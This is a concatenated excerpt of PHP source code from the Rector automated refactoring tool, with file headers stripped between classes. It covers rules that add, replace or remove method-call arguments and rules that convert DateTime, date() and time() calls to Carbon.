{ $argumentValues = []; $valueBefore = $replaceArgumentDefaultValue->getValueBefore(); if (!\is_array($valueBefore)) { return []; } $beforeArgumentCount = \count($valueBefore); for ($i = 0; $i < $beforeArgumentCount; ++$i) { if (!isset($argumentNodes[$replaceArgumentDefaultValue->getPosition() + $i])) { continue; } $nextArg = $argumentNodes[$replaceArgumentDefaultValue->getPosition() + $i]; $argumentValues[] = $this->valueResolver->getValue($nextArg->value); } return $argumentValues; } } nodeNameResolver = $nodeNameResolver; } /** * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall $expr * @param \Rector\Arguments\ValueObject\ArgumentAdder|\Rector\Arguments\ValueObject\ArgumentAdderWithoutDefaultValue $argumentAdder */ public function isInCorrectScope($expr, $argumentAdder) : bool { if ($argumentAdder->getScope() === null) { return \true; } $scope = $argumentAdder->getScope(); if ($expr instanceof StaticCall) { if (!$expr->class instanceof Name) { return \false; } if ($this->nodeNameResolver->isName($expr->class, ObjectReference::PARENT)) { return $scope === self::SCOPE_PARENT_CALL; } return $scope === self::SCOPE_METHOD_CALL; } // MethodCall return $scope === self::SCOPE_METHOD_CALL; } } valueResolver = $valueResolver; $this->staticTypeMapper = $staticTypeMapper; $this->typeComparator = $typeComparator; } /** * @param mixed $value */ public function isDefaultValueChanged(Param $param, $value) : bool { if (!$param->default instanceof Expr) { return \false; } return !$this->valueResolver->isValue($param->default, $value); } public function isTypeChanged(Param $param, ?Type $newType) : bool { if ($param->type === null) { return \false; } if (!$newType instanceof Type) { return \true; } $currentParamType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($param->type); return !$this->typeComparator->areTypesEqual($currentParamType, $newType); } } argumentAddingScope = $argumentAddingScope; $this->changedArgumentsDetector = $changedArgumentsDetector; $this->astResolver = $astResolver; $this->staticTypeMapper = $staticTypeMapper; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('This Rector adds new default arguments in calls of defined methods and class types.', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' $someObject = new SomeExampleClass; $someObject->someMethod(); class MyCustomClass extends SomeExampleClass { public function someMethod() { } } CODE_SAMPLE , <<<'CODE_SAMPLE' $someObject = new SomeExampleClass; $someObject->someMethod(true); class MyCustomClass extends SomeExampleClass { public function someMethod($value = true) { } } CODE_SAMPLE , [new ArgumentAdder('SomeExampleClass', 'someMethod', 0, 'someArgument', \true, new ObjectType('SomeType'))])]); } /** * @return array> */ public function getNodeTypes() : array { return [MethodCall::class, StaticCall::class, Class_::class]; } /** * @param MethodCall|StaticCall|Class_ $node * @return \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Stmt\Class_|null */ public function refactor(Node $node) { $this->hasChanged = \false; if ($node instanceof MethodCall || $node instanceof StaticCall) { $this->refactorCall($node); } else { foreach ($node->getMethods() as $classMethod) { $this->refactorClassMethod($node, $classMethod); } } if ($this->hasChanged) { return $node; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAnyOf($configuration, [ArgumentAdder::class, ArgumentAdderWithoutDefaultValue::class]); $this->addedArguments = $configuration; } /** * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall $call */ private function isObjectTypeMatch($call, ObjectType $objectType) : bool { if ($call instanceof MethodCall) { return $this->isObjectType($call->var, $objectType); } return $this->isObjectType($call->class, $objectType); } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall $node * @param \Rector\Arguments\ValueObject\ArgumentAdder|\Rector\Arguments\ValueObject\ArgumentAdderWithoutDefaultValue $argumentAdder */ private function processPositionWithDefaultValues($node, $argumentAdder) : void { if ($this->shouldSkipParameter($node, $argumentAdder)) { return; } $argumentType = $argumentAdder->getArgumentType(); $position = $argumentAdder->getPosition(); if ($node instanceof ClassMethod) { $this->addClassMethodParam($node, $argumentAdder, $argumentType, $position); return; } if ($node instanceof StaticCall) { $this->processStaticCall($node, $position, $argumentAdder); return; } $this->processMethodCall($node, $argumentAdder, $position); } /** * @param \Rector\Arguments\ValueObject\ArgumentAdder|\Rector\Arguments\ValueObject\ArgumentAdderWithoutDefaultValue $argumentAdder */ private function processMethodCall(MethodCall $methodCall, $argumentAdder, int $position) : void { if ($argumentAdder instanceof ArgumentAdderWithoutDefaultValue) { return; } $defaultValue = $argumentAdder->getArgumentDefaultValue(); $arg = new Arg(BuilderHelpers::normalizeValue($defaultValue)); if (isset($methodCall->args[$position])) { return; } $this->fillGapBetweenWithDefaultValue($methodCall, $position); $methodCall->args[$position] = $arg; $this->hasChanged = \true; } /** * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall $node */ private function fillGapBetweenWithDefaultValue($node, int $position) : void { $lastPosition = \count($node->getArgs()) - 1; if ($position <= $lastPosition) { return; } if ($position - $lastPosition === 1) { return; } $classMethod = $this->astResolver->resolveClassMethodFromCall($node); if (!$classMethod instanceof ClassMethod) { return; } for ($index = $lastPosition + 1; $index < $position; ++$index) { $param = $classMethod->params[$index]; if (!$param->default instanceof Expr) { throw new ShouldNotHappenException('Previous position does not have default value'); } $node->args[$index] = new Arg($this->nodeFactory->createReprintedNode($param->default)); } } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall $node * @param \Rector\Arguments\ValueObject\ArgumentAdder|\Rector\Arguments\ValueObject\ArgumentAdderWithoutDefaultValue $argumentAdder */ private function shouldSkipParameter($node, $argumentAdder) : bool { $position = $argumentAdder->getPosition(); $argumentName = $argumentAdder->getArgumentName(); if ($argumentName === null) { return \true; } if ($node instanceof ClassMethod) { // already added? if (!isset($node->params[$position])) { return \false; } $param = $node->params[$position]; // argument added and name has been changed if (!$this->isName($param, $argumentName)) { return \true; } // argument added and default has been changed if ($this->isDefaultValueChanged($argumentAdder, $node, $position)) { return \true; } // argument added and type has been changed return $this->changedArgumentsDetector->isTypeChanged($param, $argumentAdder->getArgumentType()); } if (isset($node->args[$position])) { return \true; } // Check if default value is the same $classMethod = $this->astResolver->resolveClassMethodFromCall($node); if (!$classMethod instanceof ClassMethod) { // is correct scope? return !$this->argumentAddingScope->isInCorrectScope($node, $argumentAdder); } if (!isset($classMethod->params[$position])) { // is correct scope? return !$this->argumentAddingScope->isInCorrectScope($node, $argumentAdder); } if ($this->isDefaultValueChanged($argumentAdder, $classMethod, $position)) { // is correct scope? return !$this->argumentAddingScope->isInCorrectScope($node, $argumentAdder); } return \true; } /** * @param \Rector\Arguments\ValueObject\ArgumentAdder|\Rector\Arguments\ValueObject\ArgumentAdderWithoutDefaultValue $argumentAdder */ private function isDefaultValueChanged($argumentAdder, ClassMethod $classMethod, int $position) : bool { return $argumentAdder instanceof ArgumentAdder && $this->changedArgumentsDetector->isDefaultValueChanged($classMethod->params[$position], $argumentAdder->getArgumentDefaultValue()); } /** * @param \Rector\Arguments\ValueObject\ArgumentAdder|\Rector\Arguments\ValueObject\ArgumentAdderWithoutDefaultValue $argumentAdder */ private function addClassMethodParam(ClassMethod $classMethod, $argumentAdder, ?Type $type, int $position) : void { $argumentName = $argumentAdder->getArgumentName(); if ($argumentName === null) { throw new ShouldNotHappenException(); } if ($argumentAdder instanceof ArgumentAdder) { $param = new Param(new Variable($argumentName), BuilderHelpers::normalizeValue($argumentAdder->getArgumentDefaultValue())); } else { $param = new Param(new Variable($argumentName)); } if ($type instanceof Type) { $param->type = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($type, TypeKind::PARAM); } $classMethod->params[$position] = $param; $this->hasChanged = \true; } /** * @param \Rector\Arguments\ValueObject\ArgumentAdder|\Rector\Arguments\ValueObject\ArgumentAdderWithoutDefaultValue $argumentAdder */ private function processStaticCall(StaticCall $staticCall, int $position, $argumentAdder) : void { if ($argumentAdder instanceof ArgumentAdderWithoutDefaultValue) { return; } $argumentName = $argumentAdder->getArgumentName(); if ($argumentName === null) { throw new ShouldNotHappenException(); } if (!$staticCall->class instanceof Name) { return; } if (!$this->isName($staticCall->class, ObjectReference::PARENT)) { return; } $this->fillGapBetweenWithDefaultValue($staticCall, $position); $staticCall->args[$position] = new Arg(new Variable($argumentName)); $this->hasChanged = \true; } /** * @param \PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\MethodCall $call */ private function refactorCall($call) : void { $callName = $this->getName($call->name); if ($callName === null) { return; } foreach ($this->addedArguments as $addedArgument) { if (!$this->nodeNameResolver->isStringName($callName, $addedArgument->getMethod())) { continue; } if (!$this->isObjectTypeMatch($call, $addedArgument->getObjectType())) { continue; } $this->processPositionWithDefaultValues($call, $addedArgument); } } private function refactorClassMethod(Class_ $class, ClassMethod $classMethod) : void { foreach ($this->addedArguments as $addedArgument) { if (!$this->isName($classMethod, $addedArgument->getMethod())) { continue; } if (!$this->isObjectType($class, $addedArgument->getObjectType())) { continue; } $this->processPositionWithDefaultValues($classMethod, $addedArgument); } } } argumentDefaultValueReplacer = $argumentDefaultValueReplacer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Replaces defined map of arguments in defined methods and their calls.', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' $someObject = new SomeClass; $someObject->someMethod(SomeClass::OLD_CONSTANT); CODE_SAMPLE , <<<'CODE_SAMPLE' $someObject = new SomeClass; $someObject->someMethod(false); CODE_SAMPLE , [new ReplaceArgumentDefaultValue('SomeClass', 'someMethod', 0, 'SomeClass::OLD_CONSTANT', \false)])]); } /** * @return array> */ public function getNodeTypes() : array { return [MethodCall::class, StaticCall::class, ClassMethod::class, New_::class]; } /** * @param MethodCall|StaticCall|ClassMethod|New_ $node * @return \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Expr\New_|null */ public function refactor(Node $node) { $hasChanged = \false; if ($node instanceof New_) { return $this->refactorNew($node); } $nodeName = $this->getName($node->name); if ($nodeName === null) { return null; } foreach ($this->replaceArgumentDefaultValues as $replaceArgumentDefaultValue) { if (!$this->nodeNameResolver->isStringName($nodeName, $replaceArgumentDefaultValue->getMethod())) { continue; } if (!$this->nodeTypeResolver->isMethodStaticCallOrClassMethodObjectType($node, $replaceArgumentDefaultValue->getObjectType())) { continue; } $replacedNode = $this->argumentDefaultValueReplacer->processReplaces($node, $replaceArgumentDefaultValue); if ($replacedNode instanceof Node) { $hasChanged = \true; } } if ($hasChanged) { return $node; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, ReplaceArgumentDefaultValue::class); $this->replaceArgumentDefaultValues = $configuration; } private function refactorNew(New_ $new) : ?New_ { foreach ($this->replaceArgumentDefaultValues as $replaceArgumentDefaultValue) { if ($replaceArgumentDefaultValue->getMethod() !== MethodName::CONSTRUCT) { continue; } if (!$this->isObjectType($new, $replaceArgumentDefaultValue->getObjectType())) { continue; } return $this->argumentDefaultValueReplacer->processReplaces($new, $replaceArgumentDefaultValue); } return null; } } argumentDefaultValueReplacer = $argumentDefaultValueReplacer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Streamline the operator arguments of version_compare function', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' version_compare(PHP_VERSION, '5.6', 'gte'); CODE_SAMPLE , <<<'CODE_SAMPLE' version_compare(PHP_VERSION, '5.6', 'ge'); CODE_SAMPLE , [new ReplaceFuncCallArgumentDefaultValue('version_compare', 2, 'gte', 'ge')])]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?\PhpParser\Node\Expr\FuncCall { $hasChanged = \false; foreach ($this->replacedArguments as $replacedArgument) { if (!$this->isName($node->name, $replacedArgument->getFunction())) { continue; } $changedNode = $this->argumentDefaultValueReplacer->processReplaces($node, $replacedArgument); if ($changedNode instanceof Node) { $hasChanged = \true; } } if ($hasChanged) { return $node; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, ReplaceFuncCallArgumentDefaultValue::class); $this->replacedArguments = $configuration; } } process(1, 2); } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function run(Caller $caller) { $caller->process(1); } } CODE_SAMPLE , [new RemoveMethodCallParam('Caller', 'process', 1)])]); } /** * @return array> */ public function getNodeTypes() : array { return [MethodCall::class, StaticCall::class]; } /** * @param MethodCall|StaticCall $node */ public function refactor(Node $node) : ?Node { $hasChanged = \false; if ($node->isFirstClassCallable()) { return null; } foreach ($this->removeMethodCallParams as $removeMethodCallParam) { if (!$this->isName($node->name, $removeMethodCallParam->getMethodName())) { continue; } if (!$this->isCallerObjectType($node, $removeMethodCallParam)) { continue; } $args = $node->getArgs(); if (!isset($args[$removeMethodCallParam->getParamPosition()])) { continue; } unset($node->args[$removeMethodCallParam->getParamPosition()]); $hasChanged = \true; } if (!$hasChanged) { return null; } return $node; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsInstanceOf($configuration, RemoveMethodCallParam::class); $this->removeMethodCallParams = $configuration; } /** * @param \PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\MethodCall $call */ private function isCallerObjectType($call, RemoveMethodCallParam $removeMethodCallParam) : bool { if ($call instanceof MethodCall) { return $this->isObjectType($call->var, $removeMethodCallParam->getObjectType()); } return $this->isObjectType($call->class, $removeMethodCallParam->getObjectType()); } } class = $class; $this->method = $method; $this->position = $position; $this->argumentName = $argumentName; $this->argumentDefaultValue = $argumentDefaultValue; $this->argumentType = $argumentType; $this->scope = $scope; RectorAssert::className($class); } public function getObjectType() : ObjectType { return new ObjectType($this->class); } public function getMethod() : string { return $this->method; } public function getPosition() : int { return $this->position; } public function getArgumentName() : ?string { return $this->argumentName; } /** * @return mixed|null */ public function getArgumentDefaultValue() { return $this->argumentDefaultValue; } public function getArgumentType() : ?Type { return $this->argumentType; } public function getScope() : ?string { return $this->scope; } } class = $class; $this->method = $method; $this->position = $position; $this->argumentName = $argumentName; $this->argumentType = $argumentType; $this->scope = $scope; RectorAssert::className($class); } public function getObjectType() : ObjectType { return new ObjectType($this->class); } public function getMethod() : string { return $this->method; } public function getPosition() : int { return $this->position; } public function getArgumentName() : ?string { return $this->argumentName; } public function getArgumentType() : ?Type { return $this->argumentType; } public function getScope() : ?string { return $this->scope; } } class = $class; $this->methodName = $methodName; $this->paramPosition = $paramPosition; RectorAssert::className($class); RectorAssert::methodName($methodName); } public function getObjectType() : ObjectType { return new ObjectType($this->class); } public function getMethodName() : string { return $this->methodName; } public function getParamPosition() : int { return $this->paramPosition; } } * @readonly */ private $position; /** * @readonly * @var mixed */ private $valueBefore; /** * @readonly * @var mixed */ private $valueAfter; /** * @var string */ public const ANY_VALUE_BEFORE = '*ANY_VALUE_BEFORE*'; /** * @param int<0, max> $position * @param mixed $valueBefore * @param mixed $valueAfter */ public function __construct(string $class, string $method, int $position, $valueBefore, $valueAfter) { $this->class = $class; $this->method = $method; $this->position = $position; $this->valueBefore = $valueBefore; $this->valueAfter = $valueAfter; RectorAssert::className($class); } public function getObjectType() : ObjectType { return new ObjectType($this->class); } public function getMethod() : string { return $this->method; } public function getPosition() : int { return $this->position; } /** * @return mixed */ public function getValueBefore() { return $this->valueBefore; } /** * @return mixed */ public function getValueAfter() { return $this->valueAfter; } } function = $function; $this->position = $position; $this->valueBefore = $valueBefore; $this->valueAfter = $valueAfter; } public function getFunction() : string { return $this->function; } public function getPosition() : int { return $this->position; } /** * @return mixed */ public function getValueBefore() { return $this->valueBefore; } /** * @return mixed */ public function getValueAfter() { return $this->valueAfter; } } \\+|-)(\\s+)?(?\\d+)(\\s+)?(?seconds|second|sec|minutes|minute|min|hours|hour|days|day|weeks|week|months|month|years|year)#'; /** * @var string * @see https://regex101.com/r/IhxHTO/1 */ private const STATIC_DATE_REGEX = '#now|yesterday|today|tomorrow#'; /** * @return \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall */ public function createFromDateTimeString(FullyQualified $carbonFullyQualified, String_ $string) { $carbonCall = $this->createStaticCall($carbonFullyQualified, $string); $string->value = Strings::replace($string->value, self::STATIC_DATE_REGEX); // Handle add/sub multiple times while ($match = Strings::match($string->value, self::PLUS_MINUS_COUNT_REGEX)) { $methodCall = $this->createModifyMethodCall($carbonCall, new LNumber((int) $match['count']), $match['unit'], $match['operator']); if ($methodCall instanceof MethodCall) { $carbonCall = $methodCall; $string->value = Strings::replace($string->value, self::PLUS_MINUS_COUNT_REGEX, '', 1); } } // If we still have something in the string, we go back to the first method and replace this with a parse if (($rest = Strings::trim($string->value)) !== '') { $currentCall = $carbonCall; $callStack = []; while ($currentCall instanceof MethodCall) { $callStack[] = $currentCall; $currentCall = $currentCall->var; } if (!$currentCall instanceof StaticCall) { return $carbonCall; } // If we fallback to a parse we want to include tomorrow/today/yesterday etc if ($currentCall->name instanceof Identifier && $currentCall->name->name != 'now') { $rest .= ' ' . $currentCall->name->name; } $currentCall->name = new Identifier('parse'); $currentCall->args = [new Arg(new String_($rest))]; // Rebuild original call from callstack $carbonCall = $this->rebuildCallStack($currentCall, $callStack); } return $carbonCall; } private function createStaticCall(FullyQualified $carbonFullyQualified, String_ $string) : StaticCall { $startDate = Strings::match($string->value, self::STATIC_DATE_REGEX)[0] ?? 'now'; return new StaticCall($carbonFullyQualified, new Identifier($startDate)); } /** * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall $carbonCall */ private function createModifyMethodCall($carbonCall, LNumber $countLNumber, string $unit, string $operator) : ?MethodCall { switch ($unit) { case 'sec': case 'second': case 'seconds': $unit = 'seconds'; break; case 'min': case 'minute': case 'minutes': $unit = 'minutes'; break; case 'hour': case 'hours': $unit = 'hours'; break; case 'day': case 'days': $unit = 'days'; break; case 'week': case 'weeks': $unit = 'weeks'; break; case 'month': case 'months': $unit = 'months'; break; case 'year': case 'years': $unit = 'years'; break; default: $unit = null; break; } switch ($operator) { case '+': $operator = 'add'; break; case '-': $operator = 'sub'; break; default: $operator = null; break; } if ($unit === null || $operator === null) { return null; } $methodName = $operator . \ucfirst($unit); return new MethodCall($carbonCall, new Identifier($methodName), [new Arg($countLNumber)]); } /** * @param MethodCall[] $callStack * @return \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall */ private function rebuildCallStack(StaticCall $staticCall, array $callStack) { if ($callStack === []) { return $staticCall; } $currentCall = $staticCall; $callStack = \array_reverse($callStack); foreach ($callStack as $call) { $call->var = $currentCall; $currentCall = $call; } return $currentCall; } } format(*)', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $date = date('Y-m-d'); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $date = \Carbon\Carbon::now()->format('Y-m-d'); } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node->name, 'date')) { return null; } if ($node->isFirstClassCallable()) { return null; } if (\count($node->getArgs()) !== 1) { return null; } $firstArg = $node->getArgs()[0]; if (!$firstArg->value instanceof String_) { return null; } // create now and format() $nowStaticCall = new StaticCall(new FullyQualified('Carbon\\Carbon'), 'now'); return new MethodCall($nowStaticCall, 'format', [new Arg($firstArg->value)]); } } timestamp', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $time = time(); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $time = \Carbon\Carbon::now()->timestamp; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [FuncCall::class]; } /** * @param FuncCall $node */ public function refactor(Node $node) : ?Node { if (!$this->isName($node->name, 'time')) { return null; } $firstClassCallable = $node->isFirstClassCallable(); if (!$firstClassCallable && \count($node->getArgs()) !== 0) { return null; } // create now and format() $nowStaticCall = new StaticCall(new FullyQualified('Carbon\\Carbon'), 'now'); $propertyFetch = new PropertyFetch($nowStaticCall, 'timestamp'); if ($firstClassCallable) { return new ArrowFunction(['static' => \true, 'expr' => $propertyFetch]); } return $propertyFetch; } } carbonCallFactory = $carbonCallFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Convert new DateTime() with a method call to Carbon::*()', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function run() { $date = (new \DateTime('today +20 day'))->format('Y-m-d'); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function run() { $date = \Carbon\Carbon::today()->addDays(20)->format('Y-m-d') } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [MethodCall::class]; } /** * @param MethodCall $node */ public function refactor(Node $node) : ?Node { if (!$node->var instanceof New_) { return null; } $new = $node->var; if (!$new->class instanceof Name) { return null; } if (!$this->isName($new->class, 'DateTime') && !$this->isName($new->class, 'DateTimeImmutable')) { return null; } if ($new->isFirstClassCallable()) { return null; } if (\count($new->getArgs()) !== 1) { // @todo handle in separate static call return null; } $firstArg = $new->getArgs()[0]; if (!$firstArg->value instanceof String_) { return null; } if ($this->isName($new->class, 'DateTime')) { $carbonFullyQualified = new FullyQualified('Carbon\\Carbon'); } else { $carbonFullyQualified = new FullyQualified('Carbon\\CarbonImmutable'); } $carbonCall = $this->carbonCallFactory->createFromDateTimeString($carbonFullyQualified, $firstArg->value); $node->var = $carbonCall; return $node; } } carbonCallFactory = $carbonCallFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Convert new DateTime() to Carbon::*()', [new CodeSample(<<<'CODE_SAMPLE' $date = new \DateTime('today'); CODE_SAMPLE , <<<'CODE_SAMPLE' $date = \Carbon\Carbon::today(); CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [New_::class]; } /** * @param New_ $node */ public function refactor(Node $node) : ?Node { if ($node->isFirstClassCallable()) { return null; } if ($this->isName($node->class, 'DateTime')) { return $this->refactorWithClass($node, 'Carbon\\Carbon'); } if ($this->isName($node->class, 'DateTimeImmutable')) { return $this->refactorWithClass($node, 'Carbon\\CarbonImmutable'); } return null; } /** * @return \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|null */ private function refactorWithClass(New_ $new, string $className) { // no arg? ::now() $carbonFullyQualified = new FullyQualified($className); if ($new->args === []) { return new StaticCall($carbonFullyQualified, new Identifier('now')); } if (\count($new->getArgs()) === 1) { $firstArg = $new->getArgs()[0]; if ($firstArg->value instanceof String_) { return $this->carbonCallFactory->createFromDateTimeString($carbonFullyQualified, $firstArg->value); } } return null; } } valueResolver = $valueResolver; } public function hasAllArgumentsNamed(FuncCall $funcCall) : bool { foreach ($funcCall->args as $arg) { // VariadicPlaceholder doesn't has name, so it return false directly if (!$arg instanceof Arg) { return \false; } /** @var string|null $variableName */ $variableName = $this->valueResolver->getValue($arg->value); if (!\is_string($variableName)) { return \false; } } return \true; } public function convertToArray(FuncCall $funcCall) : Array_ { $array = new Array_(); foreach ($funcCall->args as $arg) { if (!$arg instanceof Arg) { throw new ShouldNotHappenException(); } /** @var string|null $variableName */ $variableName = $this->valueResolver->getValue($arg->value); if (!\is_string($variableName)) { throw new ShouldNotHappenException(); } $array->items[] = new ArrayItem(new Variable($variableName), new String_($variableName)); } return $array; } } getProperties() as $property) { foreach ($property->props as $prop) { $propertyNames[] = $prop->name->toString(); } } return $propertyNames; } } nodeComparator = $nodeComparator; } /** * Matches$ * foreach ($values as $value) { * <$assigns[]> = $value; * } */ public function matchAssignItemsOnlyForeachArrayVariable(Foreach_ $foreach) : ?Expr { if (\count($foreach->stmts) !== 1) { return null; } $onlyStatement = $foreach->stmts[0]; if ($onlyStatement instanceof Expression) { $onlyStatement = $onlyStatement->expr; } if (!$onlyStatement instanceof Assign) { return null; } if (!$onlyStatement->var instanceof ArrayDimFetch) { return null; } if ($onlyStatement->var->dim instanceof Expr) { return null; } if (!$this->nodeComparator->areNodesEqual($foreach->valueVar, $onlyStatement->expr)) { return null; } return $onlyStatement->var->var; } } simpleCallableNodeTraverser = $simpleCallableNodeTraverser; $this->nodeNameResolver = $nodeNameResolver; $this->arrayDimFetchTypeResolver = $arrayDimFetchTypeResolver; $this->nodeTypeResolver = $nodeTypeResolver; $this->propertyFetchAnalyzer = $propertyFetchAnalyzer; $this->typeFactory = $typeFactory; } /** * @return array */ public function resolveFetchedPropertiesToTypesFromClass(Class_ $class) : array { $fetchedLocalPropertyNameToTypes = []; $this->simpleCallableNodeTraverser->traverseNodesWithCallable($class->getMethods(), function (Node $node) use(&$fetchedLocalPropertyNameToTypes) : ?int { if ($this->shouldSkip($node)) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if ($node instanceof Assign && ($node->var instanceof PropertyFetch || $node->var instanceof ArrayDimFetch)) { $propertyFetch = $node->var; $propertyName = $this->resolvePropertyName($propertyFetch instanceof ArrayDimFetch ? $propertyFetch->var : $propertyFetch); if ($propertyName === null) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if ($propertyFetch instanceof ArrayDimFetch) { $fetchedLocalPropertyNameToTypes[$propertyName][] = $this->arrayDimFetchTypeResolver->resolve($propertyFetch, $node); return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } $fetchedLocalPropertyNameToTypes[$propertyName][] = $this->nodeTypeResolver->getType($node->expr); return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } $propertyName = $this->resolvePropertyName($node); if ($propertyName === null) { return null; } $fetchedLocalPropertyNameToTypes[$propertyName][] = new MixedType(); return null; }); return $this->normalizeToSingleType($fetchedLocalPropertyNameToTypes); } private function shouldSkip(Node $node) : bool { // skip anonymous classes and inner function if ($node instanceof Class_ || $node instanceof Function_) { return \true; } // skip closure call if ($node instanceof MethodCall && $node->var instanceof Closure) { return \true; } if ($node instanceof StaticCall) { return $this->nodeNameResolver->isName($node->class, self::LARAVEL_COLLECTION_CLASS); } return \false; } private function resolvePropertyName(Node $node) : ?string { if (!$node instanceof PropertyFetch) { return null; } if (!$this->propertyFetchAnalyzer->isLocalPropertyFetch($node)) { return null; } if ($this->shouldSkipPropertyFetch($node)) { return null; } return $this->nodeNameResolver->getName($node->name); } private function shouldSkipPropertyFetch(PropertyFetch $propertyFetch) : bool { if ($this->isPartOfClosureBind($propertyFetch)) { return \true; } return $propertyFetch->name instanceof Variable; } /** * @param array $propertyNameToTypes * @return array */ private function normalizeToSingleType(array $propertyNameToTypes) : array { // normalize types to union $propertyNameToType = []; foreach ($propertyNameToTypes as $name => $types) { $propertyNameToType[$name] = $this->typeFactory->createMixedPassedOrUnionType($types); } return $propertyNameToType; } /** * Local property is actually not local one, but belongs to passed object * See https://ocramius.github.io/blog/accessing-private-php-class-members-without-reflection/ */ private function isPartOfClosureBind(PropertyFetch $propertyFetch) : bool { $scope = $propertyFetch->getAttribute(AttributeKey::SCOPE); if (!$scope instanceof Scope) { return \false; } return $scope->isInClosureBind(); } } nodeComparator = $nodeComparator; $this->betterNodeFinder = $betterNodeFinder; } /** * @param Stmt[] $stmts * @return KeyAndExpr[] */ public function resolveFromStmtsAndVariable(array $stmts, Variable $variable) : array { $keysAndExprs = []; foreach ($stmts as $stmt) { if (!$stmt instanceof Expression) { return []; } $stmtExpr = $stmt->expr; if (!$stmtExpr instanceof Assign) { return []; } $assign = $stmtExpr; $keyExpr = $this->matchKeyOnArrayDimFetchOfVariable($assign, $variable); if ($assign->var instanceof ArrayDimFetch && $assign->var->var instanceof ArrayDimFetch) { return []; } $keysAndExprs[] = new KeyAndExpr($keyExpr, $assign->expr, $stmt->getComments()); } // we can only work with same variable // and exclusively various keys or empty keys if (!$this->hasExclusivelyNullKeyOrFilledKey($keysAndExprs)) { return []; } return $keysAndExprs; } private function matchKeyOnArrayDimFetchOfVariable(Assign $assign, Variable $variable) : ?Expr { if (!$assign->var instanceof ArrayDimFetch) { return null; } $arrayDimFetch = $assign->var; if (!$this->nodeComparator->areNodesEqual($arrayDimFetch->var, $variable)) { return null; } $isFoundInExpr = (bool) $this->betterNodeFinder->findFirst($assign->expr, function (Node $subNode) use($variable) : bool { return $this->nodeComparator->areNodesEqual($subNode, $variable); }); if ($isFoundInExpr) { return null; } return $arrayDimFetch->dim; } /** * @param KeyAndExpr[] $keysAndExprs */ private function hasExclusivelyNullKeyOrFilledKey(array $keysAndExprs) : bool { $alwaysNullKey = \true; $alwaysStringKey = \true; foreach ($keysAndExprs as $keyAndExpr) { if ($keyAndExpr->getKeyExpr() instanceof Expr) { $alwaysNullKey = \false; } else { $alwaysStringKey = \false; } } if ($alwaysNullKey) { return \true; } return $alwaysStringKey; } } propertyTypeDecorator = $propertyTypeDecorator; } /** * @param array $fetchedLocalPropertyNameToTypes * @param string[] $propertyNamesToComplete * @return Property[] */ public function create(array $fetchedLocalPropertyNameToTypes, array $propertyNamesToComplete) : array { $newProperties = []; foreach ($fetchedLocalPropertyNameToTypes as $propertyName => $propertyType) { if (!\in_array($propertyName, $propertyNamesToComplete, \true)) { continue; } $property = new Property(Class_::MODIFIER_PUBLIC, [new PropertyProperty($propertyName)]); $this->propertyTypeDecorator->decorateProperty($property, $propertyType); $newProperties[] = $property; } return $newProperties; } } phpDocTypeChanger = $phpDocTypeChanger; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->typeNormalizer = $typeNormalizer; } public function decorateProperty(Property $property, Type $propertyType) : void { // generalize false/true type to bool, as mostly default value but accepts both $propertyType = $this->typeNormalizer->generalizeConstantBoolTypes($propertyType); $phpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($property); $phpDocInfo->makeMultiLined(); 